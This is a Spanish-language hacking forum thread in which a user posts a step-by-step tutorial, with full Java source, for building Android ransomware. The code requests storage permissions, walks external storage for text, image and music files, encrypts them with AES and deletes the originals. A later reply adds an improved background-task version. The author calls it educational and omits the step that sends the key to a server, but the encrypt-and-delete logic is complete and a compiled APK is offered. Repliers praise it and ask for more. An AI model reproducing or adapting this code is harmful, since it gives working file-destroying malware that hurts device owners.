Creando un Ransomware para Android desde 0!

Iniciado por user_en1gm4, Julio 21, 2017, 06:50:46 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Julio 21, 2017, 06:50:46 AM Ultima modificación: Julio 30, 2017, 04:27:29 PM por blackdrake
Hola compañer@s!

Quiero compartirles algo en lo que eh estado trabajando, este año se hablo mucho de los famosos rasonware, del ciber ataque mundial que sufrieron muchas empresas y demas, ps bueno, primero entendamos que es un rasonware y como opera.

Segun wikipedia:

CitarUn ransomware (del inglés ransom, 'rescate', y ware, por software) es un tipo de programa informático malintencionado que restringe el acceso a determinadas partes o archivos del sistema infectado, y pide un rescate a cambio de quitar esta restricción.1​ Algunos tipos de ransomware cifran los archivos del sistema operativo inutilizando el dispositivo y coaccionando al usuario a pagar el rescate.

En este tutorial les enseñare como crear un simple rasonware utilizando el algotirmo de encriptacion AES de 256 bytes, nos permitira encriptar archivos de texto, imagenes y musica.
Bueno y ps como me gusta todo este mundo quise hacerme el mio, pero no para hacer daño, quise hacerme el mio para demostrar de lo que podemos ser victimas o que tambien nos puede servir de ayuda(despues les explicare esta parte)

Antes que nada quiero decirles que este tutorial va dirigido a personas con conocimientos basicos en java y Android.

Comenzamos, primero abrimos Android Studio y creamos un nuevo proyecto, creamos un EmptyActivity con su respectiva clase, algo asi debe quedar:




Primero organizare la parte visual, voy a crear un EditText y dos Botones, uno para encriptar y otro para desencriptar, algo asi quedaria:

Código: java
<TextView
            android:id="@+id/textView4"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:layout_gravity="center_vertical|center_horizontal|center"
            android:fontFamily="monospace"
            android:text="Contraseña"
            android:textSize="18sp" />

        <EditText
            android:id="@+id/clavesita"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:ems="10"
            android:inputType="textPassword" />

        <Button
            android:id="@+id/boton1"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:text="Encriptar" />

        <Button
            android:id="@+id/boton2"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:text="Desencriptar" />



algo asi se veria:



Listo y aca empezamos con lo interesante, el codigo!
presten atencion a cada detalle que nombro, muchas 'cositas' me quitaron horas y horas, asi que cuidado

Primero hay que pedir permisos, ya que tengo un celular con Marshmallow (6), tengo que pedir los permisos tanto en el Manifest como en tiempo de ejecucion, nos vamos a la carpeta manifest, doble click al archivo AndroidManifest.xml y colocamos esto:


Código: java
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>



ahora vamos a la clase que creamos junto con el EmptyActivity, la mia se llama MainActivity, pedire los permisos en ejecucion:


Código: java
//Verificamos si ya tiene permisos

  if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED
                && ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) {

  Toast.makeText(this, "La app ya tiene permisos", Toast.LENGTH_SHORT).show();

//Ya tenemos los permisos necesarios
//Podemos proceder a trabajar con la memoria de el celular

} else{

//Si no tenemos permisos, creare una funcion para pedirlos

PedirPermisos();

}



fuera del metodo OnCreate, definimos la funcion:

Código: java
public void PedirPermisos() {

        if (ActivityCompat.shouldShowRequestPermissionRationale(this, Manifest.permission.READ_EXTERNAL_STORAGE)) {

            Toast.makeText(this, "Se necesitan permisos", Toast.LENGTH_SHORT).show();
        }
        ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.WRITE_EXTERNAL_STORAGE},
                MY_PERMISSIONS_REQUEST);


    }



Para saber la respuesta de el usuario vamos a crear nuestra propia version de la funcion onRequestPermissionsResult que es la que nos dice si el usuario nos dio los permisos o no


Código: java
@Override
    public void onRequestPermissionsResult(int requestCode,
                                           String permissions[], int[] grantResults) {
        if (requestCode == MY_PERMISSIONS_REQUEST) {
            // If request is cancelled, the result arrays are empty.
            if (grantResults.length > 0
                    && grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) {


                Toast.makeText(this, "La app ya tiene permisos", Toast.LENGTH_SHORT).show();


            } else {
                Toast.makeText(this, "SIN PERMISOS NO SE PUEDE EJECUTAR LA APP", Toast.LENGTH_SHORT).show();

            }
            return;
        }


    }



Algo asi les debe estar quedando



Luego voy a crear mi funcion de encriptar(), la cual necesita una clave de parametro, es la clave con la que vamos a cifrar los archivos, tiene que ser una clave de 16 bytes de tamaño, obligatoriamente!, yo utilizare esta = tr3D0ctaOlajESzU y una direccion, esta es la ubicacion de el archivo

Código: java
public void encriptar(String clave, String direccion, String nombre) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {

        //Archivo de entrada(sin encriptar)

        File extStore = Environment.getExternalStorageDirectory();
        FileInputStream Entrada = new FileInputStream("/" + direccion);
       
       //Archivo de salida(encriptado) su nombre cambia quedaria guardado algo asi = encript_foto.jpg

        FileOutputStream Salida = new FileOutputStream(extStore + "/encript_" + nombre);

        // Tamaño de la key 16 bytes!
        SecretKeySpec sks = new SecretKeySpec(clave.getBytes(), "AES");
     
   // Se crea el Cipher, el encargado de cifrar los streams

        Cipher cipher = Cipher.getInstance("AES");
        cipher.init(Cipher.ENCRYPT_MODE, sks);

        // stream de salida, archivo de salida
        CipherOutputStream cos = new CipherOutputStream(Salida, cipher);
       
// Escribe bytes
        int b;
        byte[] d = new byte[8];
        while ((b = Entrada.read(d)) != -1) {
            cos.write(d, 0, b);
        }
       
      //Cierra los stream
        cos.flush();
        cos.close();
        Entrada.close();

        //Borra el archivo original
        File tmp = new File("/" + direccion);
        tmp.delete();

    }



y nuestra funcion desencriptar() , no la comentare porque hace casi lo mismo que la anterior

Código: java
public static void desencriptar(String clave, String direccion, String nombre) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {

        File extStore = Environment.getExternalStorageDirectory();
        FileInputStream Entrada = new FileInputStream("/" + direccion);

        FileOutputStream Salida = new FileOutputStream(extStore + "/decrypt_" + nombre);
        SecretKeySpec sks = new SecretKeySpec(clave.getBytes(),
                "AES");
        Cipher cipher = Cipher.getInstance("AES");
        cipher.init(Cipher.DECRYPT_MODE, sks);
        CipherInputStream cis = new CipherInputStream(Entrada, cipher);
        int b;
        byte[] d = new byte[8];
        while ((b = cis.read(d)) != -1) {
            Salida.write(d, 0, b);
        }
        Salida.flush();
        Salida.close();
        cis.close();

        //Borra el archivo encriptado
        File tmp = new File("/" + direccion);
        tmp.delete();

    }



Listo ya tenemos nuestras funciones encargadas de cifrar los archivos, ahora necesitamos una funcion que valla por todas las carpetas del sistema buscando los archivos a encriptar, quedaria algo asi:

Código: java
public static ArrayList<File> EncontrarArchivos(File root) {
        ArrayList<File> Archivos = new ArrayList<File>();
        File[] _archivos = root.listFiles();
        if (_archivos != null) {
            for (File lista : _archivos) {
                if (lista.isDirectory() && !lista.isHidden()) {

                    Archivos.addAll(EncontrarArchivos(lista));
                } else {

                     //Solo permitimos archivos que terminen en . txt .jpg .jpeg y .mp3

                    if (lista.getName().endsWith(".txt") || lista.getName().endsWith(".jpg") || lista.getName().endsWith(".jpeg") ||
                  lista.getName().endsWith(".png") || lista.getName().endsWith(".mp3")) {
                        if (lista.getTotalSpace() > 3) {

                        //Si termina en lo que queremos y pesa mas de 3 kb lo agregamos a la lista

                            Archivos.add(lista);
                        }
                    }
                }
            }
        }
        return Archivos;
    }



Bueno basicamente ya tenemos nuestras principales funciones ya listas, ahora programaremos que al hacer click sobre el boton encriptar, ejecute nuestra funcion encriptar con los archivos que encontro en el sistema

Como ya lo habia dicho antes, despues de que comprobamos los permisos esque podemos realizar las tareas, vamos a utilizar el codigo anterior donde verificamos los permisos y habilitamos un OnClickListener para cada boton que creamos, asi este al ser oprimido ejecutara lo que le digamos, quedaria algo asi:

Código: java
    //PIDE Y COMPRUEBA PERMISOS EN EJECUCION

        if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED
                && ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) {

            //Referencia botones y demas
            final Button BotonEncriptar = (Button) findViewById(R.id.boton1);
            final Button BotonDesencriptar = (Button) findViewById(R.id.boton2);
            final EditText EntradaClave = (EditText) findViewById(R.id.clavesita);


            Toast.makeText(this, "La app ya tiene permisos", Toast.LENGTH_SHORT).show();

            BotonDesencriptar.setOnClickListener(new View.OnClickListener() {
                [b]@[url=https://underc0de.org/foro/index.php?action=profile;u=8340]Override[/url][/b]
                public void onClick(View view) {


                    try {

                              //Lista de archivos encontrados en el sistema

                        final ArrayList<File> Archivos = EncontrarArchivos(Environment.getExternalStorageDirectory());

                        for (int i = 0; i < Archivos.size(); i++) {

                             //los mandamos a desenciptar 1 x 1, pasandole el nombre del archivo y su ubicacion, pero primero
                             // revisamos si esta encriptado, (que en su nombre tenga la palabra "encript_"

                             int comprobacion = Archivos.get(i).getName().indexOf("encript_");
                            if (comprobacion != -1) {

                                desencriptar(clave, Archivos.get(i).getPath(), Archivos.get(i).getName());

                            }
                            }

                        }

                              //Excepciones necesarias para la funcion de encriptar

                    } catch (IOException | NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException k) {
                        k.printStackTrace();
                    }
                }
            });


            BotonEncriptar.setOnClickListener(new View.OnClickListener() {
                [b]@[url=https://underc0de.org/foro/index.php?action=profile;u=8340]Override[/url][/b]
                public void onClick(View view) {


                    try {


                        final ArrayList<File> Archivos = EncontrarArchivos(Environment.getExternalStorageDirectory());

                        for (int i = 0; i < Archivos.size(); i++) {
                         
     //los mandamos a encriptar 1 x 1, pasandole el nombre del archivo y su ubicacion

                            encriptar(clave, Archivos.get(i).getPath(), Archivos.get(i).getName());

                       


                    } catch (IOException | NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException k) {

                        k.printStackTrace();

                    }

                }
            });

        } else {

            PedirPermisos();
        }

    }


Asi nos aseguramos a que sin los permisos necesarios nunca intentara encriptar los archivos y que nos genere errores, listo nuestro rasonware ya esta casi terminado, solo tenemos que leer la clave que nos ingresen para desencriptar o encriptar, con el EditText se la pedimos al usuario y la leemos:

Código: java
//Referenciamos nuestro objetos en pantalla

final Button BotonEncriptar = (Button) findViewById(R.id.boton1);
            final Button BotonDesencriptar = (Button) findViewById(R.id.boton2);
            final EditText EntradaClave = (EditText) findViewById(R.id.clavesita);



y luego la leemos:

Código: java
String clave = EntradaClave.getText().toString();


esto va dentro de el OnClickListener de el boton encriptar para que al momento de que lo presionen la lea y haga sus respectivas tareas, Listo muchachos! asi se hace un rasonware para android.

Ahora construyamos nuestra apk y vamos a instalarla en nuestro movil, aca unas fotos de su funcionamiento, voy a crear una carpeta llamada docs y dentro de ella guardare una archivo de texto, una cancion y una imagen:



Ahora ire a la aplicacion y le dare sobre el boton encriptar, veamos que pasa:

se han encriptado los archivos de mi memoria, al tratar de abrir la imagen no me deja:




Ahora volvere a la aplicacion y le dare en desenciptar:


Mis archivos vuelven a la normalidad, puedo ver mi imagen, fijensen en los nombres, quiere decir que paso por todos nuestros procesos

Ahora podemos crear otra funcion que al terminar de encriptar los archivos no envie la clave y el id del celular a nuestro servidor para que quede alli guardada, no quise meter eso en el tutorial ya que pienso que quizas lo utilizen para mal, de ese modo podrian pedir dinero para darles las clave y .....
Pero aca otra parte, porque no utilizamos esto de una buena forma? si encriptamos nuestros archivos con una clave que solo nosotros sepamos y los desencriptamos solo cuando los necesitemos? no puedo decir que tendrias 100% de privacidad pero si le dificultaria el trabajo a cualquier cracker que quiera robarle su informacion.

cuidado con esto, no es algo para jugar y si van a hacer pruebas haganlo en ambientes controlados, mientras hacia esto me toco formatear mi celular ya que todos mis archivos quedaron encriptados xd, asi que cuidado, los archivos que lee son de la memoria interna del telefono, no se porque pasa esto pero solo me reconoce los de la memoria interna, tambien cuando le opriman sobre encriptar, desencriptar esperar unos segundos hasta que el celular este normal, si minimizamos la aplicacion o la cerramos de una podria generar errores

Les dejare la aplicacion y el codigo, espero les halla gustado, yo aprendi bastante haciendolo espero ustedes tambien
Aca el codigo y la app lista para que la prueben

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No se preocupen si descargnn la app a su celular, no hara nada hasta que no opriman los botones encriptar y luego con el de desencriptar todo volvera a la normalidad, es mas bien como educativo, no corran.

Ayer murio el vocalista de Linkin Park, Chester Bennington, sus canciones me acompañaron mientras programaba y en mi dia a dia, quise hacer este tutorial en homenaje a  él, Grande Chester Bennington!!, tus fans nunca te olvidaremos.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



(perdon por la ortografia no soy muy bueno con las palabras)

Un saludo y gusto en compartir!

Hola!

Esta increible tu aporte! No había visto jamás un ransonware para Android. De hecho, jamás se me pasó por la cabeza hacer uno.
Mil gracias por compartirlo. Te he dejado +Karma!

Saludos,
ANTRAX


Buenísimo el aporte, debería postularse para estar en el Blog  :)

Julio 21, 2017, 12:30:50 PM #3 Ultima modificación: Julio 21, 2017, 12:50:48 PM por user_en1gm4
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola!

Esta increible tu aporte! No había visto jamás un ransonware para Android. De hecho, jamás se me pasó por la cabeza hacer uno.
Mil gracias por compartirlo. Te he dejado +Karma!

Saludos,
ANTRAX

Habia leido algo sobre que wannacry habia llegado a android pero nunca supe si era verdad, quizas sea uno de los primeros programado en este lado de el planeta jaja, un gusto compartir, el conocimiento es libre.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola!

Esta increible tu aporte! No había visto jamás un ransonware para Android. De hecho, jamás se me pasó por la cabeza hacer uno.
Mil gracias por compartirlo. Te he dejado +Karma!

Saludos,
ANTRAX

Habia leido algo sobre que wannacry habia llegado a android pero nunca supe si era verdad, quizas sea uno de los primeros programado en este lado de el planeta jaja, un gusto compartir, el conocimiento es libre.

Tu post fue llevado al blog con tus créditos: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Siempre llevamos al blog los posts más destacados de los users de underc0de.
Además de eso, ya fue compartido por las redes sociales para que llegue a muchos lectores.

Felicitaciones!!!

Saludos,
ANTRAX



Muy bueno @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta , gracias por compartirlo
Mi blog: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Si necesitas ayuda, no dudes en mandar MP

no podes hacer un video explicando mejor como crear ese virus confine educativo porfa

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
no podes hacer un video explicando mejor como crear ese virus confine educativo porfa

El autor dice que previamente se deben tener conocimientos en Java. ¿Los tienes?

muy poco colega pero me podria mas omenos hacer el video si fuera genial seria mejor uno desde kali ya que la pc no me quiere ejecutar javas

La codificacion funciona la desencriptacion no, buen aporte igual!

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
La codificacion funciona la desencriptacion no, buen aporte igual!

si funciona amigo yo mismo lo probe
prodria pasar que porque la ejecucion se hace en el hilo principal y nunca se delega un hilo puede que desencripte archivos que no esten encriptados o que se tenga que esperar un poco que los busque, ya que en ese codigo carga todos los archivos en memoria, tengo uno mas optimo que eh trabajado si quieres te lo paso, un saludo

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
La codificacion funciona la desencriptacion no, buen aporte igual!

si funciona amigo yo mismo lo probe
prodria pasar que porque la ejecucion se hace en el hilo principal y nunca se delega un hilo puede que desencripte archivos que no esten encriptados o que se tenga que esperar un poco que los busque, ya que en ese codigo carga todos los archivos en memoria, tengo uno mas optimo que eh trabajado si quieres te lo paso, un saludo


Buenas! pues te agradeceria mucho si me lo pudieras pasar y le hecho un ojo tio si no es mucho pedir ;)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
La codificacion funciona la desencriptacion no, buen aporte igual!

si funciona amigo yo mismo lo probe
prodria pasar que porque la ejecucion se hace en el hilo principal y nunca se delega un hilo puede que desencripte archivos que no esten encriptados o que se tenga que esperar un poco que los busque, ya que en ese codigo carga todos los archivos en memoria, tengo uno mas optimo que eh trabajado si quieres te lo paso, un saludo

Disculpa pero a mí también me genera errores al ejecutar el cifrado, sería un gran favor en pasarme el archivo.

Marzo 22, 2018, 01:12:17 PM #14 Ultima modificación: Marzo 22, 2018, 01:19:43 PM por user_en1gm4
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
La codificacion funciona la desencriptacion no, buen aporte igual!

si funciona amigo yo mismo lo probe
prodria pasar que porque la ejecucion se hace en el hilo principal y nunca se delega un hilo puede que desencripte archivos que no esten encriptados o que se tenga que esperar un poco que los busque, ya que en ese codigo carga todos los archivos en memoria, tengo uno mas optimo que eh trabajado si quieres te lo paso, un saludo

Disculpa pero a mí también me genera errores al ejecutar el cifrado, sería un gran favor en pasarme el archivo.


Eh diseñado esta nueva version pero utilizando Asynctask(tareas asincronas), trabaja como un hilo en background y asi mejora el proceso , ademas ya no cargo todos los archivos en memoria si no que solo tomo su ruta y con esa cargo 1 a la vez para aguilizar el proceso, aqui solo coloco las funciones necesarias para encriptar y desencriptar archivos , lo de pedir permisos y el resto esta en el tutorial.

Código: java
public static void encriptar(String clave, String direccion, String nombre) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {
        //Archivo de entrada
        File extStore = Environment.getExternalStorageDirectory();
        FileInputStream Entrada = new FileInputStream("/" + direccion+"/"+nombre);
        // This stream write the encrypted text. This stream will be wrapped by
        // another stream.
        FileOutputStream Salida = new FileOutputStream("/" + direccion +"/encript_" + nombre);
        // Length is 16 byte
        SecretKeySpec sks = new SecretKeySpec(clave.getBytes(), "AES");
        // Create cipher
        Cipher cipher = Cipher.getInstance("AES");
        cipher.init(Cipher.ENCRYPT_MODE, sks);
        // Wrap the output stream
        CipherOutputStream cos = new CipherOutputStream(Salida, cipher);
        // Write bytes
        int b;
        byte[] d = new byte[8];
        while ((b = Entrada.read(d)) != -1) {
            cos.write(d, 0, b);
        }
        // Flush and close streams.
        cos.flush();
        cos.close();
        Entrada.close();
        //Borra el archivo original
        File tmp = new File("/" + direccion+"/"+nombre);
        tmp.delete();

    }
    public static void desencriptar(String clave, String direccion, String nombre) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {

        File extStore = Environment.getExternalStorageDirectory();
        FileInputStream Entrada = new FileInputStream("/" + direccion+"/"+nombre);
        // This stream write the encrypted text. This stream will be wrapped by
        // another stream.
        FileOutputStream Salida = new FileOutputStream("/" + direccion +"/decript_" + nombre);
        SecretKeySpec sks = new SecretKeySpec(clave.getBytes(),
                "AES");
        Cipher cipher = Cipher.getInstance("AES");
        cipher.init(Cipher.DECRYPT_MODE, sks);
        CipherInputStream cis = new CipherInputStream(Entrada, cipher);
        int b;
        byte[] d = new byte[8];
        while ((b = cis.read(d)) != -1) {
            Salida.write(d, 0, b);
        }
        Salida.flush();
        Salida.close();
        cis.close();

        //Borra el archivo encriptado
        File tmp = new File("/" + direccion+"/"+nombre);
        tmp.delete();

    }

    public  void BuscarDesencriptar(final File root) {

        File[] _archivos = root.listFiles();
        if (_archivos != null) {
            for (File lista : _archivos) {
                if (lista.isDirectory() && !lista.isHidden()) {

                    BuscarDesencriptar(lista);
                } else {
                    if (lista.getName().endsWith(".txt")  ) {
                        if (lista.getTotalSpace() > 3) {
                            try {

                                String nombre = lista.getName();
                                String rutaCompleta  = lista.getPath();
                                int index = rutaCompleta.indexOf(nombre);

                                char [] ruta = rutaCompleta.toCharArray();
                                String directorio="";
                                for(int i=0;i<index;i++){
                                    directorio+=ruta[i];

                                }


                                int resultado = lista.getName().indexOf("encript_");

                                if(resultado != -1) {
                                    desencriptar(claves,directorio, lista.getName());

                                }

                            } catch (IOException | NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException k) {
                                k.printStackTrace();
                            }
                        }
                    }
                }
            }

        }
    }





    public  void BuscarEncriptar(final File root) {

        File[] _archivos = root.listFiles();
        if (_archivos != null) {
            for (File lista : _archivos) {
                if (lista.isDirectory() && !lista.isHidden()) {

                    BuscarEncriptar(lista);
                } else {
                    if (lista.getName().endsWith(".txt") ) {
                        if (lista.getTotalSpace() > 3) {
                            try {

                                String nombre = lista.getName();
                                String rutaCompleta  = lista.getPath();
                                int index = rutaCompleta.indexOf(nombre);

                                char [] ruta = rutaCompleta.toCharArray();
                                String directorio="";
                                for(int i=0;i<index;i++){
                                    directorio+=ruta[i];

                                }
                                int resultado = lista.getName().indexOf("encript_");

                                if(resultado == -1) {
                                    encriptar(claves, directorio, lista.getName());

                                }
                            } catch (IOException | NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException k) {
                                k.printStackTrace();
                            }
                        }
                    }
                }
            }
        }



    }





    public class AsyncTask_Encriptar extends AsyncTask<Void, Integer, Void> {
        int progreso=0;
        @Override
        protected void onPreExecute() {
            desencriptari.setClickable(false);
            encriptar.setClickable(false);

            SystemClock.sleep(100);




        }

        @Override
        protected Void doInBackground(Void... params) {

            BuscarEncriptar(Environment.getExternalStorageDirectory());
            return null;
        }


        @Override
        protected void onProgressUpdate(Integer... values) {
         
        }

        @Override
        protected void onPostExecute(Void result) {

            Snackbar.make(view, "Archivos Encriptados", Snackbar.LENGTH_LONG)
                    .setAction("Exito", null).show();

            desencriptari.setClickable(true);
            encriptar.setClickable(true);

        }


    }


    public class AsyncTask_Desencriptar extends AsyncTask<Void, Integer, Void> {
        int progreso=0;
        @Override
        protected void onPreExecute() {
            desencriptari.setClickable(false);
            encriptar.setClickable(false);
           
            SystemClock.sleep(100);



        }

        @Override
        protected Void doInBackground(Void... params) {

            BuscarDesencriptar(Environment.getExternalStorageDirectory());
            return null;
        }


        @Override
        protected void onProgressUpdate(Integer... values) {

         
        }

        @Override
        protected void onPostExecute(Void result) {

            Snackbar.make(view, "Archivos Desencriptados", Snackbar.LENGTH_LONG)
                    .setAction("Exito", null).show();
            desencriptari.setClickable(true);
            encriptar.setClickable(true);

        }


    }




   



Tengo una variable global que es la clave la puedo dejar constante como en mi caso o pedirla cada vez que opriman el boton encriptar/desencriptar:

para encriptar solo cree el onclicklistener de su boton y ponga dentro:

Código: java
    
String clave=""; //es una variable global
clave = "SU CLAVE";//obligatoria de 16 bytes     
new AsyncTask_Encriptar().execute();



y para desencriptar:

Código: java
    
String clave=""; //es una variable global
clave = "SU CLAVE";//obligatoria de 16 bytes
new AsyncTask_Desencriptar().execute();